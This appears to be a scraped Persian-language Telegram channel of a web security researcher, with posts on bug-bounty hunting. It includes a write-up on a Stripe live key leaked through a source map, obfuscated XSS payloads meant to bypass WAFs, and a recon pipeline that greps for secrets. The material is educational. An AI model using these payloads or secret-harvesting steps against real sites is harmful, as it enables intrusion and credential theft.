🕸 Articles – Telegram
🕸 Articles
2.23K subscribers
43 photos
3 videos
18 files
12 links
Web Security Researcher, Bug Hunter
369
Download Telegram
این ویدیو سال ۲۰۱۵ ضبط شده، عنوان ویدیو چگونه هکر شویم هست.
پیشنهاد میکنم حتما ببینیدش، جمله طلایی ویدیو به نظرم این هست:

هکر بودن یعنی خودآموز بودن
18
درود به همگی کتاب تموم شد خداروشکر
- برای فهم بیشتر یه سری بخش ها و توضیحات بیشتری به متن اصلی اضافه شده
- اضاف شدن بیش از ۷۰ مثال
- اضافه شدن تفکر خارج از چارچوب
- اضافه شدن مثال های واقعی برای درک بهتر هر بخش
یه سری ایده ها توی کتاب هست که باید به مرحله ی اجرایی برسه توسط خودتون. نویسنده کتاب یه سری بخش هارو فقط تئوری توضیح داده.
40❤‍🔥3🔥2
Web Application Security-Persian.pdf
9.7 MB
Author: zarvan
Language: Persian
Telegram channel: @web_articles
100🔥8🕊1🍾1
این کتاب کاملاً رایگان هست و هیچ قیمتی براش نذاشتم. اما اگه دوست داشتید از من حمایت کنید، می‌تونید از این لینک استفاده کنید:

https://daramet.com/web_articles


همچنین می‌تونید با به اشتراک گذاشتن کتاب، کمک کنید که بیشتر دیده بشه.
53👏52🔥1🕊1🆒1
به نظرتون نقش جاوا اسکریپت برای کسی که با امنیت وب اپلیکیشن‌ها سروکار داره چیه؟
Anonymous Poll
78%
از نون شب واجب تره
3%
کیکه
5%
جاوا اسکریپت کوچیک شده جاوا هست
13%
من یه پرندم آرزو دارم
1
بیایید اول از همه یه نگاه به فایل های js بندازیم ببینم این فایل ها برای هانترا و پنتسترا چی دارن و چطوری یه هانتر تونسته ۲۵ هزار دلار 💵 از یه فایل js بدست بیاره.

اگه یه نگاه به این رایتاپ بندازیم (اینجا می‌تونید بخونیدش)، متوجه می‌شیم با یه معدن طلا طرفیم.

یه محقق امنیتی به اسم Matthew داشته روی یه شرکت هانت میکرده. رفته سراغ فایل‌های JS و دیده که فایل‌های جاوااسکریپتشون minified شدن. حالا minified یعنی چی؟ یعنی کد رو فشرده کردن کامنت‌ها رو حذف کردن، اسم متغیرها رو کوتاه کردن و کلاً خوندن این کدها یه کم سخت‌تره.

یه چیز دیگه توی جاوااسکریپت داریم به اسم Source Map. این چیه؟ سورس مپ یه فایل جداگونه‌ست که مثل یه نقشه راهنما عمل می‌کنه و به مرورگر می‌گه هر خط از کد فشرده‌شده (minified) تو کد اصلی کجا بوده. این برای دیباگ کردن خیلی به درد می‌خوره، چون برنامه‌نویس می‌تونه راحت‌تر باگ‌ها رو پیدا کنه.

اما مشکل کجاست؟ اگه برنامه‌نویس حواسش نباشه و توی کد اصلی اطلاعاتی مثل کلیدهای API، رمز عبور یا اطلاعات حساس دیگه بذاره، این سورس مپ می‌تونه همه اینا رو لو بده یعنی هرکی به سورس مپ دسترسی پیدا کنه، می‌تونه این اطلاعات محرمانه رو ببینه. حالا بعضی وقتا این فایل‌های سورس مپ توی وب عمومی در دسترسن و می‌شه پیداشون کرد، ولی گاهی هم برنامه‌نویس‌ها این فایل‌ها رو از دسترس عمومی برمی‌دارن.

یه ابزار به اسم SourceMapper داریم که می‌تونه فایل‌های minified رو به فرمت قابل خوندن تبدیل کنه. این محقق اومده با این دستور:


doi@asov:~$ ./sourcemapper -output dhubsrc -url https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map


فایل جاوااسکریپت رو به فرمت قابل خوندن درآورده. بعدش شروع کرده به گشتن توی سورس و تونسته این اطلاعات حساس رو پیدا کنه:

export const S0 = 'pk_live_[REDACTED]es33';
export const S1 = 'sk_live_[REDACTED]du8d';
export const STRIPE_HEADER_NAME = 'REDACTED';
export const CURRENCY = 'USD';
export const STRIPE_PAY_BUTTON = 'Pay for REDACTED';

خب حالا Stripe چیه؟ Stripe یه سرویس پرداخت آنلاینه که API خیلی ساده و قدرتمندی داره. با این API می‌شه موجودی حساب رو چک کرد، پرداخت انجام داد یا حتی پول رو به حساب دیگه‌ای منتقل کرد.

این محقق با استفاده از کلید API که پیدا کرده، این دستور رو اجرا کرده تا موجودی حساب رو چک کنه:

❯ curl https://api.stripe.com/v1/balance -u sk_live_REDACTEDdu8d
{"object": "balance",
"available": [ {
"amount": 1761520.76,
"currency": "usd",
"source_types": {
"card": 0 } } ]
}

و در نهایت با گزارش این باگ و کلید API لو رفته، تونسته ۲۵ هزار دلار جایزه بگیره
40🔥8👍2
جاوا اسکریپت واقعا دنیایه بزرگی داره، کافیه تصمیم بگیری که تابع alert رو بدون پرانتز اجراش کنی میبینی کلی راه براش وجود داره.

مثلا:
alert`zarvan`


اینم یه نمونه جالب‌تر:

function replaceFn(str, regex, fn) { str.replace(regex, fn); } replaceFn("a", /./, alert)




حتی میتونیم ازFunction constructor استفاده کنیم:
Function`alert\x281337\x29`()


این هم چند تا نمونه دیگه:
setTimeout`alert\x281337\x29`


setInterval`alert\x281337\x29`



`${alert(1337)}`



Promise.reject(1337).catch(alert);


این ترفند ها فقط نوک کوه یخن 🗻
شما چه ترفند دیگه ای بلدین؟
29🔥6
بیاین چند تا پیلود XSS ببینیم. به نظرتون کدومشون کار می‌کنه و چرا؟

1- <a href="&#x6a;avanoscript:alert(1337)">Test1</a>
2- <a href="&#x6aavanoscript:alert(1337)">Test2</a>
3- <a href="&#000000000x6a;avanoscript:alert(1337)">Test3</a>
4- <a href="jav&#x61noscript:alert(1337)">Test4</a>
5- <a href="jav&NewLine;as&Tab;cript&colon;alert&lpar;1337&rpar;">Test5</a>


اینم یه نمونه جالب از ایونت onanimationend:

<style>@keyframes x {to {opacity:0}}</style>
<xss style="animation:x 1s" onanimationend=alert(6)>Test6</xss>


این پیلود‌ها فقط چند تا نمونه از پیلود‌های xss هست که هر کدوم از اینا میتونه توی یه سناریوی خاص مثل دور زدن فایروال‌ها به کار بیان.


پ.ن: دارم روی یه پروژه خفن کار می‌کنم که قراره اینجور ترفندهای جاوا اسکریپت رو برای هانترها و متخصصای امنیت از صفر تا صد ساده کنه. منتظر باشین! 🚀
30🔥4
This media is not supported in your browser
VIEW IN TELEGRAM
مثل مجید باشیم‌.
28🔥4👍2
این توییت یکی از دوستام فرستاده بود جالب بود گفتم با شما هم در میون بزارم.
به این پیلود نگاه کنید با حروف میخی نوشته شده و اگر توی کنسول مرورگرتون وارد کنید میبینید که پاپ‌آپ بالا میاد.

𒀱='',𒁍=!𒀱+𒀱,𒂖=!𒁍+𒀱,𒃵=𒀱+{},𒄿=𒁍[𒀱++],𒅗=𒁍[𒀲=𒀱],
𒆜=++𒀲+𒀱,𒇻=𒃵[𒀲+𒆜],
𒁍[𒇻+=𒃵[𒀱]+(𒁍.𒂖+𒃵)[𒀱]+𒂖[𒆜]+𒄿+𒅗+𒁍[𒀲]+𒇻+𒄿+𒃵[𒀱]+𒅗][𒇻](𒂖[𒀱]+𒂖[𒀲]+𒁍[𒆜]+𒅗+𒄿+"('𒀱𒀲𒀱𒋻𒆜𒀲𒁂𒐫𒉿𒀜𒅔')")()


توی این پیلود یه سری تکنیک استفاده شده که هر کدوم رو توضیح می‌دم
این تکنیک‌ها به صورت زنجیره‌ای کار می‌کنن: اول با Unicode Obfuscation کد پنهان می‌شه، بعد با Type Coercion رشته‌های پایه ساخته می‌شن، با String Manipulation حروف استخراج می‌شن، و در آخر با Dynamic Function Call کد اجرا می‌شه.




1. Unicode Obfuscation
این کد یه پیلود xss هست که با حروف خط میخی نوشته شده تا عجیب به نظر بیاد و از waf ها عبور کنه.
توی این پیلود از حروف میخی مثل 𒀱 به جای متغیر های معمولی مثل my_variable استفاده شده
جاوااسکریپت از استاندارد یونیکد پشتیبانی می‌کنه. هر کاراکتر یونیکد (مثل حروف خط میخی، ایموجی یا حروف چینی) می‌تونه به‌عنوان اسم متغیر یا تابع استفاده بشه، مثل:

let 𒀱 = "hello";
console.log(𒀱);


اگه پیلود رو با حروف انگلیسی جایگزین کنیم، به همچین چیزی می‌رسیم:

a='',b=!a+a,c=!b+a,d=a+{},e=b[a++],f=b[a1=a],
g=++a1+a,h=d[a1+g],
b[h+=d[a]+(b.c+d)[a]+c[g]+e+f+b[a1]+h+e+d[a]+f][h](c[a]+c[a1]+b[g]+f+e+"('a1a1a1a1a1a1a1a1a1a1')")()

اگر این عبارت هم توی کنسول وارد کنید میبینید که کار میکنه.

2. Type Coercion (تبدیل خودکار نوع داده)

وقتی جاوااسکریپت خودش نوع داده‌ها رو تغییر می‌ده (مثلاً عدد به رشته یا بولین به رشته) موقع عملیات‌هایی مثل جمع (+) یا نقیض (!) به این کار میگن تبدیل نوع داده

چرا باید ازش استفاده کنیم؟
ساخت رشته‌های بی‌خطر مثل "true", "false", "[object Object]" بدون نوشتن مستقیمشون. این رشته‌ها حروف لازم برای ساخت کلمات خطرناک (مثل "alert" یا "constructor") رو فراهم می‌کنن، بدون اینکه فایروال‌ها بفهمن کد داره چیکار می‌کنه.



3. String Manipulation

جدا کردن حروف از یه رشته با استفاده از اندیس (مثل str[0] برای حرف اول).
رشته‌ها تو جاوااسکریپت مثل آرایه‌های حروفن که می‌تونی حرف به حرف بکشی بیرون.

توی این مرحله میاییم و حروفی که نیاز داریم از عبارت هایی که توی مرحله قبلی ساختیم میسازیم.
کلمات خطرناک مثل "alert" یا "constructor" با جدا کردن حروف از رشته‌های بی‌خطر (مثل "true", "false", "[object Object]"). اینطوری فایروال‌ها نمی‌فهمن کد داره کلمه خطرناک می‌سازه.
با اندیس‌ها (مثل [0], [1]) به حروف رشته دسترسی پیدا می‌کنی.



4. Dynamic Function Call

صدا زدن یه تابع با استفاده از یه رشته (مثل "alert") به جای نوشتن مستقیم تابع (مثل alert()).
مثلاً می‌تونی به جای alert() بنویسی window["alert"]() یا "true"["constructor"]().

اجرای کد مخرب (مثل alert('XSS')) بدون نوشتن مستقیم تابع. اینطوری وف هایی که دنبال کلمات مثل alert یا eval می‌گردن، نمی‌تونن کد رو تشخیص بدن.
اسم تابع رو به صورت رشته بساز و با [] یا constructor صداش کن.
👌2211👍6🔥3👏31
چند روز پیش یه گزارش منتشر شد که یه هکر تونسته از مرورگر کروم یه آسیب پذیری پیدا کنه و بعد از گزارش بهش 250,000 هزار دلار جایزه بدن.


https://issues.chromium.org/issues/412578726

تحلیل این آسیب پذیری رو براتون آماده کردم.
این آسیب خیلی عمیق تر از چیزی هست که نوشتم، پس اگر علاقه داشتین میتونید خودتون روش تحقیق بیشتری کنید.
خلاصه باگ هم این بوده که یه سایت رو باز میکردی و سیستمت هک میشده.
36👨‍💻3
🔥284👎3🍓1
همونطور که میدونید فایل های javanoscript توی هانت خیلی مهم هستن
چون ممکنه توشون:
- کلید های api
- اطلاعات ورود مثل رمز های عبور یا اطلاعات ادمین
- توکن ها مثل توکن های auth
- داده های تنظیمات دیتابیس
پیدا بشه، که هر کدوم از اینا ممکنه منجر به آسیب پذیری بشه.

پس باید این فایل هارو تحلیل کنید و دنبال این اطلاعات حساس باشید.
یه متدولوژی برای هانت روی فایل های js میتونه این باشه:

1- لیستی از سابدامنه های تارگت رو توی یه فایل به اسم sub.txt ذخیره کنید.

2- با استفاده از ابزار های زیر که با هم ترکیب شدن فایل های js رو بدست بیارین.

cat sub.txt | katana | grep js | httpx -mc 200 | tee js.txt

از ابزار کاتانا برای کرال کردن استفاده میکنیم اینجا میتونید از کرالر های دیگه هم استفاده کنید.

3- برای پیدا کردن آسیب پذیری یا اطلاعات حساس میتونید از ابزار nuclei استفاده کنید.

nuclei -l js.txt -t ~/nuclei-templates/exposures/ -o js_bugs.txt



4- یه روش دیگه این هست که همه فایل های js که پیدا کردیم توی مرحله 2 رو دانلود کنیم و به صورت دستی تحلیلشون کنیم.
با دستور زیر فایل هارو دانلود میکنیم.

file="js.txt"

while IFS= read -r link
do
wget "$link"
done < "$file"


اینجا میتونیم با دستور grep روی فایل های js که دانلود کردیم دنبال یه سری کلمات کلیدی باشیم.

grep -r -E "aws_access_key|aws_secret_key|api key|passwd|pwd|heroku|slack|firebase|swagger|aws_secret_key|aws key|password|ftp password|jdbc|db|sql|secret jet|config|admin|pwd|json|gcp|htaccess|.env|ssh key|.git|access key|secret token|oauth_token|oauth_token_secret|smtp" *.js




این متدولوژی خوبه و عالی نیست. پس باید متدولوژی شما با بقیه یه تفاوت داشته باشه تا خروجی متفاوتی هم داشته باشه.
به عنوان مثال میتونید توی مرحله 3 از تمپلیت های که خودتون نوشتین استفاده کنید که هر کسی نداره.
یا توی مرحله ۴ از کلمات کلیدی بیشتری یا متفاوت تری استفاده کنید.
این یه مثال خیلی کوچیک از کشف آسیب پذیری روی فایل های js بود.
فکر میکنید دیگه چه کارایی میشه کرد؟
23👏5👍4
🔥186❤‍🔥2🏆1
Domain_Discovery_Persian.pdf
8.3 MB
Author: zarvan
Language: Persian
Telegram channel: @web_articles
🔥50❤‍🔥83👌3👏2
8
همونطور که دارید توی مباحث فنی آموزش می‌بینید و رشد می‌کنید، سعی کنید شخصیت خودتون رو هم رشد بدین.

اگر فکر می‌کنید توانایی و استعداد ثابت هست، باور کنید می‌تونید با تلاش و پشتکار اون‌ها رو گسترش بدین. یه فرد موفق نمی‌گه: من توی این بخش ضعیفم بلکه می‌گه: من هنوز این مهارت رو یاد نگرفتم.
وقتی با چالشی رو به رو می‌شید اون رو فرصتی برای یادگیری ببینید نه مانعی که جلوی راهتونه. یه سیستم امن رو به چشم یه پازل سخت و جذاب ببینید که برای حلش باید مهارت های جدیدی یاد بگیرید.



- پیدا کردن یه باگ پیچیده زمان بره. باید صبر داشته باشی و قدم به قدم پیش بری. اگر یه حمله جواب نداد بهتره دنبال یه راه حل دیگه باشی. مهدی یه رایتاپ (https://mey-d.github.io/posts/zero-click-ato-persian/) نوشته بخونیدش تا متوجه این صبر بشید.
توانایی برگشتن از شکست‌ها رو توی خودتون تقویت کنید.


- برای کار‌ها و پروژه‌ها باید برنامه ریزی کنیم و بهشون پایبند باشیم. به جای ساعت‌ها کار بی وقفه، بهتره تمرکزمون رو روی جلسات کوتاه مدت و پربازده بزاریم. به خودتون استراحت بدین و کار‌های غیر فنی انجام بدین. وقت گذروندن با دوستان، ورزش و سرگرمی های مورد علاقتون.


- همیشه بپرسید چرا؟ یا اگر... چی میشه؟
وقتی به یه صفحه لاگین می‌رسی، به جای اینکه فقط قانون تعیین شده برنامه نویس رو انجام بدین این سوال هارو از خودتون بپرسید:
اگر پسورد خالی بفرستم چی میشه؟
اگر من به جای نام کاربری، یه ایمیل یا شماره تلفن بفرستم چی میشه؟
اگر من به جای یه کاربر، درخواست ورود با یه ‌‌ID کاربر دیگه رو بفرستم چی میشه؟
چرا این سیستم کلمه‌ی عبور رو بعد از چند بار تلاش ناموفق بلاک نمی‌کنه؟

یا زمانی که آپلود فایل دارید:
اگر به جای عکس یه فایل php آپلود کنم چی میشه؟
اگر اسم فایل رو تغییر بدم از shell.php به shell.jpg چی میشه؟

یا اگر پارامتر دارید:
اگر به جای کلمات عادی، کاراکتر های خاص مثل &,',> رو وارد کنم چی میشه؟
چرا پارامتر های این url حساس هستن؟
اگر کلا پارامتر حذف کنم چی میشه؟
اگر مقدارش رو عوض کنم چی میشه؟

به جای استفاده از ابزار‌ها به صورت کورکورانه درک کنید که پشت پرده چطور داره کار می‌کنه.
30